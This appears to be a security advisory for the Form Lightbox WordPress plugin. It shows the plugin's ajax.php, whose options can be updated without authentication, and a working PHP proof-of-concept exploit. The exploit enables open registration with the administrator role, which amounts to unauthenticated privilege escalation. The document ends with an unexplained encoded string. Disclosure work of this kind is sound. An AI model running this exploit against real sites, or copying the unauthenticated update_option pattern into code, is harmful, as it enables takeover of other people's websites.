Form Lightbox [Unauthenticated Options Update]

Description

Plugin Form Lightbox implements an insecure way for updating options by using a custom script. Vulnerable code:

File: form-lightbox/ajax.php

<?php

$root = dirname(__FILE__);
$position = strrpos($root, "wp-content");
$wp_installation = substr($root, 0 , $position );

include( $wp_installation.'wp-load.php' );

$_POST = array_map( 'stripslashes_deep', $_POST );

$action = isset( $_POST['action'] ) ? $_POST['action'] : false;

switch ( $action ) {

	case 'update_content' : 
	
			update_option( $_POST['update'], $_POST['value']); 
			$start = false;
			$new_options = array();
			foreach($flb->options() as $value){
				if($start)
					$new_options[] = $value;
					
				if($value['type']=='open_ajax' && $value['id'] == $_POST['ajax'])
					$start = true;
					
				if($value['type']=='close_ajax' && $value['id'] == $_POST['ajax'] . "_close")
					break;
			}
			
			$flb->construct_form($new_options);
		break;
		
	case 'update_option' :
			update_option( $_POST['id'], $_POST['value'] );
		break;
		
	case 'delete_option' :
			delete_option( $_POST['id'] );
		break;
}

?>

PoC

In this PoC we update the options users_can_register and default_role in order to be able to register a user with administrative rights.

#!/usr/bin/env php
<?php
/*******************************************************************************
 * form-lightbox - Unauthenticated Privilege Escalation Exploit
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$url = Endpoint::pluginsURL() . '/form-lightbox/ajax.php';

// checking if vulnerable script exists
if ( ! Requests::get( $url )->success ) {
	ExitCodes::exitWithFailed( 'Cannot find vulnerable script, maybe target is not exploitable' );
}

$options = [
	'users_can_register' => 1,
	'default_role'       => 'administrator',
];

// updating options
foreach ( $options as $name => $value ) {
	Cli::writeInfo( "Updating option `{$name}` to `{$value}`" );
	$r = Requests::post( $url, [ ], [ 'action' => 'update_option', 'id' => $name, 'value' => $value ] );
}

ExitCodes::exitWithSuccess( 'You should now be able to register a new user with administrative rights' );

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX